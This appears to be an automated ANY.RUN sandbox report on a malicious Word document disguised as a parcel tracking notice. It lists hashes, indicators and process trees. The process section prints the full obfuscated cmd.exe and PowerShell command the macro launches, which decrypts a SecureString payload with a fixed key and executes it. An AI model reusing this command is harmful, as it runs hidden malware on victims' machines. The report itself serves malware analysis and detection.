analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Tracking-Number-3JJV59211348006072

Full analysis: https://app.any.run/tasks/d5e7fc9d-081a-45bc-a7d9-5a14a2b67429
Verdict: Malicious activity
Analysis date: February 11, 2019, 08:49:40
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: AktkRRNw, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Mar 16 07:05:00 2018, Last Saved Time/Date: Fri Mar 16 07:05:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0
MD5:

211F5950937ECE63E64A121C1B8CFBE1

SHA1:

5C7633A1EE4E8ABB627D819A8CC9540A5D5CF39A

SHA256:

831091EF4B2911426B9906116B7A5CFEC131AF25309AC4D94E8C10F76F545F24

SSDEEP:

3072:zHiqk5Aqacv9xTJv31r2vHUwjEdSN1o9n3:zLUtv9FJv31r2vHDjEdV

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 2972)

    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 2616)

    • Executes PowerShell scripts

      • cmd.exe (PID: 4044)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2972)

  • SUSPICIOUS

    • Reads Internet Cache Settings

      • WINWORD.EXE (PID: 2972)

    • Creates files in the user directory

      • powershell.exe (PID: 2616)
      • notepad++.exe (PID: 2196)

    • Executes application which crashes

      • powershell.exe (PID: 2616)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2972)

    • Dropped object may contain Bitcoin addresses

      • chrome.exe (PID: 2356)
      • chrome.exe (PID: 4004)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2972)

    • Application launched itself

      • chrome.exe (PID: 4004)
      • chrome.exe (PID: 2356)

    • Reads settings of System Certificates

      • chrome.exe (PID: 4004)
      • powershell.exe (PID: 2616)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 1
Paragraphs: 1
Lines: 1
Company: -
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 1
Words: -
Pages: 1
ModifyDate: 2018:03:16 07:05:00
CreateDate: 2018:03:16 07:05:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: -
Keywords: -
Author: AktkRRNw
Subject: -
Title: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
67
Monitored processes
31
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winword.exe no specs cmd.exe no specs powershell.exe ntvdm.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs notepad++.exe gup.exe rundll32.exe no specs chrome.exe no specs notepad.exe no specs chrome.exe no specs chrome.exe no specs notepad++.exe chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2972"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Tracking-Number-3JJV59211348006072.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
4044"C:\Windows\System32\cmd.exe" OltUIXnliiv nIHWSjWKSljwNjYOuNKnYlm wqizYpDFLjwmTk & %^C^o^m^S^p^E^c^% %^C^o^m^S^p^E^c^% /V /c set %wVqIwnKFwwmrGcR%=bqdYjjSG&&set %uftLTSHkuFPs%=p&&set %QsJGutSFZEBT%=o^w&&set %jFFdLzaiVFobLOM%=zLmsrXFsSa&&set %BUGPPRzQrlfXEN%=!%uftLTSHkuFPs%!&&set %QLPwLMDkbqhhtzV%=WAoqAMd&&set %UGVNncJUFGQwn%=e^r&&set %jkOSTqfqOMoOdI%=!%QsJGutSFZEBT%!&&set %hzvkGZrAAFwVcs%=s&&set %FbXzZOIzNKliPTW%=bXbnVqQSoXnBED&&set %UasrZwAPjRm%=he&&set %MKmtJHzkFiUu%=ll&&!%BUGPPRzQrlfXEN%!!%jkOSTqfqOMoOdI%!!%UGVNncJUFGQwn%!!%hzvkGZrAAFwVcs%!!%UasrZwAPjRm%!!%MKmtJHzkFiUu%! " ([RunTImE.inTERopSErvICeS.marsHaL]::ptRtOSTRIngansi([RUNtiMe.InTERoPSErvICES.mARShaL]::SeCuREsTrIngTOgLobAlALLoCaNsi($('76492d1116743f0423413b16050a5345MgB8ADkAYQB2AEIAUgBrAGkARgBFADkAWgBwADMAUQBNAEMAcwA1AGgAOABmAFEAPQA9AHwAZABiAGUAMAA4ADkAMwBmAGMAMABiADkAMgAxADYANQAyADkAYwAxADgAOQA3AGMANwAxADQAOQA2ADIAZABlADAAYgA1ADgAMAAyADgAMQBlADAAZAAzADEANAAzADQAMAA3AGUANABkADYAZgBlAGIAMAA5ADMANgA2ADEANABmADUANgAwAGQAMgA4AGQANQA5ADkAMwAzAGQAMgA0AGYAZQBiADgAZABmAGIANABmADcAOQBjADQAOQA1AGUAMABhADUAMwA2AGUAMgA2ADMAYgA4AGMAMgA2ADgAMwBiADcAZABjAGUAMwAzADUAYwAwADAAYgA4ADcAYwBkADkANAAwADQAZAA2ADEAMgAzADAAMwBmAGEAZgA5AGEAOQA3ADMAMAA2AGEANQAyADYAYgAwADgANQBjADkAZgAxAGMAYgAwADkANQA2ADIAOQA2AGMAOQA4ADQANAA4AGQAOAA1ADYAMgBhAGMAYQA5ADUANAA2ADAANQA0AGIAMQAyAGQANgAxAGYAMgA3AGUANAA0ADQAMQBkAGIAMwA3ADgANwBmADIAYQBjADEAMgAzAGQAZgBlADAANgA4AGYAMQBjADUAZgBkADQAOQAxADEANABhAGMAMgBmADAAZgA4ADMAYwA3ADAAMAAzADcANQA5ADUAZQA3AGMANAAwADQAMAA5AGYAYQA5AGYANgBlADkAYgA4AGQAMwA4ADkAMgA3AGQAZgBmAGMAMAA3ADIAOAA1AGMAMgAwADcAZQA5ADAAOQA5ADEAMQBkADEANAA4AGUAMQA1ADgAYwA0ADgAOQBkAGUAZQA1ADkAYgBjADQANAA1ADcAZQAwAGYAMQBhAGIAOQAxADkAMAAwADUAZgA5AGMAMgBhADkAZgBiAGMANwA2ADAAMQAyAGEANgA0AGEAYQBjADMANgA1ADMAMABkAGMAYgA4AGIAOQAwADIANAAzADYAMgA0ADAANAA4ADMAMwA2AGUANAA4ADcAZQBjADcAYgAzADgANwA2ADQAZQBmAGUAMgAzAGEANgBmADMAMAA1AGYAOAAxADIAOQBiAGQAMwBkADgANQA1ADMAMQAyADkAOAAwADQANQBlADIAYgA1ADgAZABkAGMAZgA2ADMAMwBlADYAOABlADIAMQAyAGMANwBkAGIAOAA3ADkAMQAwAGYAZgA0ADQAMgAzADYAZgA3ADMANAA1AGQANQA3AGQAZgBlADMAZgAyADEAYwBiADcAOABkAGYAMQBiADIAYwAyADYAZAA4ADYANwBlADEANABmAGUAZAA1AGUAMgA2AGQAMAA1ADEAMAA1AGMAOQA0ADUAYgBkADYAZABiADYANQAxADUANQAxAGMAOABmADYANABlADQANABlADIAYQA1AGEANAAxAGYANQAwADgAOABiADIAMgAyAGYAOQA2ADgANwBmAGYAZQBjADQANQBjAGQAYwBhAGQAMgBhAGEAMQA5ADEAMQAzADcAMgBmADYAZQA3AGMANAA0ADYAMAA0ADQANwAwAGQAMgBlADgAOQA2ADcAOQAxAGIANAAyADMAOQBmADEANgAyADMAMwBlADYAMgA5ADcAZQBiAGQAMgBiADAAZgBjADcAOQAxAGMAMwBhADgAMQBkADEAZAA0ADAAYQA3AGQAMwBmAGYAMgAyADYAZAAxAGEAYwAzADUAZAAyAGQAYQAxAGUAOABmADgAYQA4ADYAZQBiAGEAOQAxAGMAOABlADYANwBmAGUAZABhAGMAMgA0ADEANwAyADQAYwA2AGUAZQAzAGMAYwAxADUAYgBhADUANgA0ADMAMAA5ADMAMwA3AGQAZAA0AGYAOQAyADEAMAAxADQAOQAzAGMAZgBmADgAOAAzADcAMgBkADEAMgBjADAANABlAGUAYQBiAGYAZgAxAGUAMQA3ADkANABmAGIAZAA4AGIAYwAwAGEAZQBlAGEANQBhAGEAYQA4ADcANQAxAGEAOABkAGEAMwBlAGYAYQBkAGEANAAyADcAZgA0ADAANwBhADUAMwA5ADEAMAAwADMAOABlADkAOQA2ADIANABiAGUAMQAwAGUAMQA3ADEAYQAzADEAYwA1ADQAOABlADIAZQBlADQANwA5AGUAYwBlAGMAMwAzADQAMAA0AGYAYQAxADQAMAAyAGUAZgAyADEANAA1AGYAYwA1AGIAZABiADEAZgBkADMANgA3AGYANQA4AGUAMgBjADYAMQBlADYAOABjADEANgBkADUAMAA4ADgAMABlADcAMwA5AGIAOQA4AGQAOQAzADQAYQA4AGUANgAzAGIAYgA5ADIANgA5ADQAMwA4ADcAYQA2ADkANgAwAGYAYwAyADMAZABmAGEANwA0AGIAMAA5ADAAMQBkAGQAMAAyADUAOQBlADYAMABjADcAMgAyADIAZgBjAGQAMgBkADMAZAAzADgAYQA3AGYAMABmAGUAYwAxADgAYQA0ADIAMQA1ADgAYgAwADYAMwAzADkANgBhADIANQBiADYAMwBjADIAOAAxAGUANQA4ADYAYgAxADAANwA1ADAAOQA4AGQAMwA5ADUAYQA3ADIANgBjADAAZQA0ADgAZgBlAGQAYwA0ADUAMAAxADcAYwBkADEANQBhAGIAOQA1ADQAOABmAGYAMQA5AGUAYQBiADkAYQAxAGEANgA0ADIAOABiADIAOABjAGEAYQAwADQANAA1ADcANwAyAGQANwBhAGEAYgBjAGQAZgA4ADUAOAA2ADQAOQBlADgAMQAyAGEANwBhADAAOQBhADkAMABkADgAOABhADMAZAA0AGYANgA1ADgANQA1ADYANgAyADQANwA4ADUAMQBhAGIAZQA2AGUAYwA4AGEAMAAwADgAZQA1ADkAMQAzAGUAMABhADMANgAzADUAMgBhAGYAZgA0AGEAMQAyAGUANAA5AGUAOAA3ADkAYQA1ADkAYwA2ADAANwBjAGUAMQAyADQAMgA4ADgAZQA5AGEAMgA3ADYAMwA2ADEAZABlADAAZABhAGEAOAA4ADUAYQAxAGUAMwA1AGYANABiAGMAMwBjADMANgAzADAANwAxAGMAMgA0ADQANgAzADMANgA4ADQAYgBhAGYAOABlAGEAZABkADQAMQAyADIANQBjADQANwBiAGUAZAA2AGEAMAA5AGEAYwA5ADgAZgA2AGYAMwAwAGUAMQA4ADAAMgBkAGUAMABlAGIAYwBlAGMANgAwADIANgAzADMANgA5AGUAYgAyADUAZABkADcANwA5ADAAMAA2ADcAYgBkADMAMwAzAGIAOQA5AGMAMQBjADYAMABmAGEAMAAxADgANAA0AGUAOABiADUAZQBmADYAMwA2ADUAZgBjAGEAMwBmADYAMwBjADYAZgAzADMANgA1ADYAOAAwADYANgA5AGEAMQA3ADEANgBlADEANQAwAGQAMQAyAGIANQBkADUAZQA5ADUANAA2ADEAZAA3AGYAOQBmADkAZQA1ADAANgBlADIAYQBmADkANwA0ADUAOQBmADMAMgBhAGYAOABlAGEAMAA0ADAAZQBkAGUAZAAyAGUAYgAzADgAZgA5AGYANwA3ADAAOQA4ADgAMAA1AGMAMgBhADQAMgBmADcANQA2ADQAYgAxADMAZABhADIAZgBiADIAMABmAGYAMABiADkANwBjADAAOAA2AGQAMgBjADkAMgA1AGMAMgBlAGUAYgA3AGMANABjAGMANQA2AGYAMQAxAGUAZAA2AGEAMAA4ADIANwA4ADAANABjADYAMAA2AGUAZQAzAGEAMgAwAGUAMwBlADQAMwA2AGQAOAAyAGQAZgA2ADYAMwAyADAAYQBmADYAZQBkADAAYgAzADcAOQA0AGUANwBmADQAZAA3ADYAZgA2ADMAYwAwADIANgAxADAAZgBkADMANwAzADcANAA4AGMAMQBhAGYANwA1ADYANgA5ADcANgBkADgAYwBiADEAZQAzAGIAMwBmADAAMwA5AGMANwBmADkAZgAyAGMANABiADkAMwBlADEANABmADQAZgA1ADgAZgBkADMAYwBjADAANgBhAGEAYQA0AGIAOQA3ADIAMQAzADYAYwA4AGEAZgA4ADYAZgA0ADcAMgAzADkAMwAyADIAMQBhAGYAOQBkADQAMAA3AGMANQA5ADIANwBlAGMAMgBlADAANAAyAGIAMgA2AGUAYgAwAGQAZAAwAGUAOAAyADIAZQAxAGUAYgBkADEAOQAxADcANwAyADkANQBjAGUAMABiADUAZgAyADUAMQBlADcAMgBjADkAYQBiADYAMwA0ADIAMgAxADUAYQBkADEAYwBjADUAMAA1AGIANwA2ADEANwA1ADAAOAAwAGYANAA3AGEAYwA4ADEAYwAxAGIANABlADIAMQBjAGMANgAwADgAYgAxAGMAZQAyADAAYQA0AGMANABiADAAOABkAGQAOQBmADMAYQBiADIAYwA0ADYANgBkADYAYQBhADMAZgA3ADkAMgAyADIAMQAyADgAOQBiADcAYwBhAGUAYgAzAGEAOQAwAGIANQBkADcAMAA1ADAANgAzAGYANgAwADcAOQAyAGQAYwBmAGEAMgA3AGIAOQAzADcAYgAzAGIAMwA4ADIANQA5AGQAZgA1AGEAMwBlAGYANgAwAGMAMwA2ADgANAAxAGMAMQAxADIAMAA4ADkAOABkADYANwA3ADEAMQA4ADIAOABhAGMAMwBlADkANAAxADgAMwBkAGYAYwA0ADEAZABkAGMANwAyADAANQAyADQAZgA2AGYAZgBmAGEAMgA1ADMAYQAxAGEAZAA1ADgANAA3AGEANwA3ADMAZgA3AGYAMABmADgAZQBlAGEAYQA3ADIAZgA5ADEANABlADcAMAA2AGEAMgBkADAAZQA2ADkAZAAwADgANQAzADQAMgA5ADUANQAyADAAMgA2ADYANgBiADgAYwAxAGEAYwA2ADYAYQBhAGIAZQA1AGYAZgAwAGEAOAAzAGQAZQA1ADkAMwA4AGEAZAA3ADQAOAA2ADIAYQBmAGIANwAxADIAYwA5ADYANwA1ADkAMQA5ADkAYgBmADAAZAAyADcANABlADcAZQAwAGUAMQBhADUAMQA5ADAAZAA0AGIAMwA5ADMAYwA3ADgAMgA5ADAAMwA3ADEAOAA2ADgAZgA5ADcAMAA4ADAAYQBkAGQAOAA1ADUAYgAyAGYAZgAwADQAZgA5ADEAMwAxAGMANQAwADgAMQBkADcANgBhAGYAMgA=' |CONvERtTO-sEcuReStRING -kEy (138..123))) )) | .( $Env:coMSpeC[4,26,25]-JoiN'')C:\Windows\System32\cmd.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2616powershell " ([RunTImE.inTERopSErvICeS.marsHaL]::ptRtOSTRIngansi([RUNtiMe.InTERoPSErvICES.mARShaL]::SeCuREsTrIngTOgLobAlALLoCaNsi($('76492d1116743f0423413b16050a5345MgB8ADkAYQB2AEIAUgBrAGkARgBFADkAWgBwADMAUQBNAEMAcwA1AGgAOABmAFEAPQA9AHwAZABiAGUAMAA4ADkAMwBmAGMAMABiADkAMgAxADYANQAyADkAYwAxADgAOQA3AGMANwAxADQAOQA2ADIAZABlADAAYgA1ADgAMAAyADgAMQBlADAAZAAzADEANAAzADQAMAA3AGUANABkADYAZgBlAGIAMAA5ADMANgA2ADEANABmADUANgAwAGQAMgA4AGQANQA5ADkAMwAzAGQAMgA0AGYAZQBiADgAZABmAGIANABmADcAOQBjADQAOQA1AGUAMABhADUAMwA2AGUAMgA2ADMAYgA4AGMAMgA2ADgAMwBiADcAZABjAGUAMwAzADUAYwAwADAAYgA4ADcAYwBkADkANAAwADQAZAA2ADEAMgAzADAAMwBmAGEAZgA5AGEAOQA3ADMAMAA2AGEANQAyADYAYgAwADgANQBjADkAZgAxAGMAYgAwADkANQA2ADIAOQA2AGMAOQA4ADQANAA4AGQAOAA1ADYAMgBhAGMAYQA5ADUANAA2ADAANQA0AGIAMQAyAGQANgAxAGYAMgA3AGUANAA0ADQAMQBkAGIAMwA3ADgANwBmADIAYQBjADEAMgAzAGQAZgBlADAANgA4AGYAMQBjADUAZgBkADQAOQAxADEANABhAGMAMgBmADAAZgA4ADMAYwA3ADAAMAAzADcANQA5ADUAZQA3AGMANAAwADQAMAA5AGYAYQA5AGYANgBlADkAYgA4AGQAMwA4ADkAMgA3AGQAZgBmAGMAMAA3ADIAOAA1AGMAMgAwADcAZQA5ADAAOQA5ADEAMQBkADEANAA4AGUAMQA1ADgAYwA0ADgAOQBkAGUAZQA1ADkAYgBjADQANAA1ADcAZQAwAGYAMQBhAGIAOQAxADkAMAAwADUAZgA5AGMAMgBhADkAZgBiAGMANwA2ADAAMQAyAGEANgA0AGEAYQBjADMANgA1ADMAMABkAGMAYgA4AGIAOQAwADIANAAzADYAMgA0ADAANAA4ADMAMwA2AGUANAA4ADcAZQBjADcAYgAzADgANwA2ADQAZQBmAGUAMgAzAGEANgBmADMAMAA1AGYAOAAxADIAOQBiAGQAMwBkADgANQA1ADMAMQAyADkAOAAwADQANQBlADIAYgA1ADgAZABkAGMAZgA2ADMAMwBlADYAOABlADIAMQAyAGMANwBkAGIAOAA3ADkAMQAwAGYAZgA0ADQAMgAzADYAZgA3ADMANAA1AGQANQA3AGQAZgBlADMAZgAyADEAYwBiADcAOABkAGYAMQBiADIAYwAyADYAZAA4ADYANwBlADEANABmAGUAZAA1AGUAMgA2AGQAMAA1ADEAMAA1AGMAOQA0ADUAYgBkADYAZABiADYANQAxADUANQAxAGMAOABmADYANABlADQANABlADIAYQA1AGEANAAxAGYANQAwADgAOABiADIAMgAyAGYAOQA2ADgANwBmAGYAZQBjADQANQBjAGQAYwBhAGQAMgBhAGEAMQA5ADEAMQAzADcAMgBmADYAZQA3AGMANAA0ADYAMAA0ADQANwAwAGQAMgBlADgAOQA2ADcAOQAxAGIANAAyADMAOQBmADEANgAyADMAMwBlADYAMgA5ADcAZQBiAGQAMgBiADAAZgBjADcAOQAxAGMAMwBhADgAMQBkADEAZAA0ADAAYQA3AGQAMwBmAGYAMgAyADYAZAAxAGEAYwAzADUAZAAyAGQAYQAxAGUAOABmADgAYQA4ADYAZQBiAGEAOQAxAGMAOABlADYANwBmAGUAZABhAGMAMgA0ADEANwAyADQAYwA2AGUAZQAzAGMAYwAxADUAYgBhADUANgA0ADMAMAA5ADMAMwA3AGQAZAA0AGYAOQAyADEAMAAxADQAOQAzAGMAZgBmADgAOAAzADcAMgBkADEAMgBjADAANABlAGUAYQBiAGYAZgAxAGUAMQA3ADkANABmAGIAZAA4AGIAYwAwAGEAZQBlAGEANQBhAGEAYQA4ADcANQAxAGEAOABkAGEAMwBlAGYAYQBkAGEANAAyADcAZgA0ADAANwBhADUAMwA5ADEAMAAwADMAOABlADkAOQA2ADIANABiAGUAMQAwAGUAMQA3ADEAYQAzADEAYwA1ADQAOABlADIAZQBlADQANwA5AGUAYwBlAGMAMwAzADQAMAA0AGYAYQAxADQAMAAyAGUAZgAyADEANAA1AGYAYwA1AGIAZABiADEAZgBkADMANgA3AGYANQA4AGUAMgBjADYAMQBlADYAOABjADEANgBkADUAMAA4ADgAMABlADcAMwA5AGIAOQA4AGQAOQAzADQAYQA4AGUANgAzAGIAYgA5ADIANgA5ADQAMwA4ADcAYQA2ADkANgAwAGYAYwAyADMAZABmAGEANwA0AGIAMAA5ADAAMQBkAGQAMAAyADUAOQBlADYAMABjADcAMgAyADIAZgBjAGQAMgBkADMAZAAzADgAYQA3AGYAMABmAGUAYwAxADgAYQA0ADIAMQA1ADgAYgAwADYAMwAzADkANgBhADIANQBiADYAMwBjADIAOAAxAGUANQA4ADYAYgAxADAANwA1ADAAOQA4AGQAMwA5ADUAYQA3ADIANgBjADAAZQA0ADgAZgBlAGQAYwA0ADUAMAAxADcAYwBkADEANQBhAGIAOQA1ADQAOABmAGYAMQA5AGUAYQBiADkAYQAxAGEANgA0ADIAOABiADIAOABjAGEAYQAwADQANAA1ADcANwAyAGQANwBhAGEAYgBjAGQAZgA4ADUAOAA2ADQAOQBlADgAMQAyAGEANwBhADAAOQBhADkAMABkADgAOABhADMAZAA0AGYANgA1ADgANQA1ADYANgAyADQANwA4ADUAMQBhAGIAZQA2AGUAYwA4AGEAMAAwADgAZQA1ADkAMQAzAGUAMABhADMANgAzADUAMgBhAGYAZgA0AGEAMQAyAGUANAA5AGUAOAA3ADkAYQA1ADkAYwA2ADAANwBjAGUAMQAyADQAMgA4ADgAZQA5AGEAMgA3ADYAMwA2ADEAZABlADAAZABhAGEAOAA4ADUAYQAxAGUAMwA1AGYANABiAGMAMwBjADMANgAzADAANwAxAGMAMgA0ADQANgAzADMANgA4ADQAYgBhAGYAOABlAGEAZABkADQAMQAyADIANQBjADQANwBiAGUAZAA2AGEAMAA5AGEAYwA5ADgAZgA2AGYAMwAwAGUAMQA4ADAAMgBkAGUAMABlAGIAYwBlAGMANgAwADIANgAzADMANgA5AGUAYgAyADUAZABkADcANwA5ADAAMAA2ADcAYgBkADMAMwAzAGIAOQA5AGMAMQBjADYAMABmAGEAMAAxADgANAA0AGUAOABiADUAZQBmADYAMwA2ADUAZgBjAGEAMwBmADYAMwBjADYAZgAzADMANgA1ADYAOAAwADYANgA5AGEAMQA3ADEANgBlADEANQAwAGQAMQAyAGIANQBkADUAZQA5ADUANAA2ADEAZAA3AGYAOQBmADkAZQA1ADAANgBlADIAYQBmADkANwA0ADUAOQBmADMAMgBhAGYAOABlAGEAMAA0ADAAZQBkAGUAZAAyAGUAYgAzADgAZgA5AGYANwA3ADAAOQA4ADgAMAA1AGMAMgBhADQAMgBmADcANQA2ADQAYgAxADMAZABhADIAZgBiADIAMABmAGYAMABiADkANwBjADAAOAA2AGQAMgBjADkAMgA1AGMAMgBlAGUAYgA3AGMANABjAGMANQA2AGYAMQAxAGUAZAA2AGEAMAA4ADIANwA4ADAANABjADYAMAA2AGUAZQAzAGEAMgAwAGUAMwBlADQAMwA2AGQAOAAyAGQAZgA2ADYAMwAyADAAYQBmADYAZQBkADAAYgAzADcAOQA0AGUANwBmADQAZAA3ADYAZgA2ADMAYwAwADIANgAxADAAZgBkADMANwAzADcANAA4AGMAMQBhAGYANwA1ADYANgA5ADcANgBkADgAYwBiADEAZQAzAGIAMwBmADAAMwA5AGMANwBmADkAZgAyAGMANABiADkAMwBlADEANABmADQAZgA1ADgAZgBkADMAYwBjADAANgBhAGEAYQA0AGIAOQA3ADIAMQAzADYAYwA4AGEAZgA4ADYAZgA0ADcAMgAzADkAMwAyADIAMQBhAGYAOQBkADQAMAA3AGMANQA5ADIANwBlAGMAMgBlADAANAAyAGIAMgA2AGUAYgAwAGQAZAAwAGUAOAAyADIAZQAxAGUAYgBkADEAOQAxADcANwAyADkANQBjAGUAMABiADUAZgAyADUAMQBlADcAMgBjADkAYQBiADYAMwA0ADIAMgAxADUAYQBkADEAYwBjADUAMAA1AGIANwA2ADEANwA1ADAAOAAwAGYANAA3AGEAYwA4ADEAYwAxAGIANABlADIAMQBjAGMANgAwADgAYgAxAGMAZQAyADAAYQA0AGMANABiADAAOABkAGQAOQBmADMAYQBiADIAYwA0ADYANgBkADYAYQBhADMAZgA3ADkAMgAyADIAMQAyADgAOQBiADcAYwBhAGUAYgAzAGEAOQAwAGIANQBkADcAMAA1ADAANgAzAGYANgAwADcAOQAyAGQAYwBmAGEAMgA3AGIAOQAzADcAYgAzAGIAMwA4ADIANQA5AGQAZgA1AGEAMwBlAGYANgAwAGMAMwA2ADgANAAxAGMAMQAxADIAMAA4ADkAOABkADYANwA3ADEAMQA4ADIAOABhAGMAMwBlADkANAAxADgAMwBkAGYAYwA0ADEAZABkAGMANwAyADAANQAyADQAZgA2AGYAZgBmAGEAMgA1ADMAYQAxAGEAZAA1ADgANAA3AGEANwA3ADMAZgA3AGYAMABmADgAZQBlAGEAYQA3ADIAZgA5ADEANABlADcAMAA2AGEAMgBkADAAZQA2ADkAZAAwADgANQAzADQAMgA5ADUANQAyADAAMgA2ADYANgBiADgAYwAxAGEAYwA2ADYAYQBhAGIAZQA1AGYAZgAwAGEAOAAzAGQAZQA1ADkAMwA4AGEAZAA3ADQAOAA2ADIAYQBmAGIANwAxADIAYwA5ADYANwA1ADkAMQA5ADkAYgBmADAAZAAyADcANABlADcAZQAwAGUAMQBhADUAMQA5ADAAZAA0AGIAMwA5ADMAYwA3ADgAMgA5ADAAMwA3ADEAOAA2ADgAZgA5ADcAMAA4ADAAYQBkAGQAOAA1ADUAYgAyAGYAZgAwADQAZgA5ADEAMwAxAGMANQAwADgAMQBkADcANgBhAGYAMgA=' |CONvERtTO-sEcuReStRING -kEy (138..123))) )) | .( $Env:coMSpeC[4,26,25]-JoiN'')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2576"C:\Windows\system32\ntvdm.exe" -i1 C:\Windows\system32\ntvdm.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
NTVDM.EXE
Exit code:
3221225477
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2356"C:\Program Files\Google\Chrome\Application\chrome.exe" C:\Program Files\Google\Chrome\Application\chrome.exe
explorer.exe
User:
admin
Company:
Google Inc.
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
3221225547
Version:
68.0.3440.106
3152"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win32 --annotation=prod=Chrome --annotation=ver=68.0.3440.106 --initial-client-data=0x78,0x7c,0x80,0x74,0x84,0x6b8400b0,0x6b8400c0,0x6b8400ccC:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
2384"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=watcher --main-thread-id=2352 --on-initialized-event-handle=304 --parent-handle=308 /prefetch:6C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
3604"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=868,13107132481500220511,9358099817554849135,131072 --enable-features=PasswordImport --gpu-preferences=KAAAAAAAAACAAwBAAQAAAAAAAAAAAGAAEAAAAAAAAAAAAAAAAAAAACgAAAAEAAAAIAAAAAAAAAAoAAAAAAAAADAAAAAAAAAAOAAAAAAAAAAQAAAAAAAAAAAAAAAKAAAAEAAAAAAAAAAAAAAACwAAABAAAAAAAAAAAQAAAAoAAAAQAAAAAAAAAAEAAAALAAAA --service-request-channel-token=42E0374ADC773637048EDA721710BE45 --mojo-platform-channel-handle=1012 --ignored=" --type=renderer " /prefetch:2C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
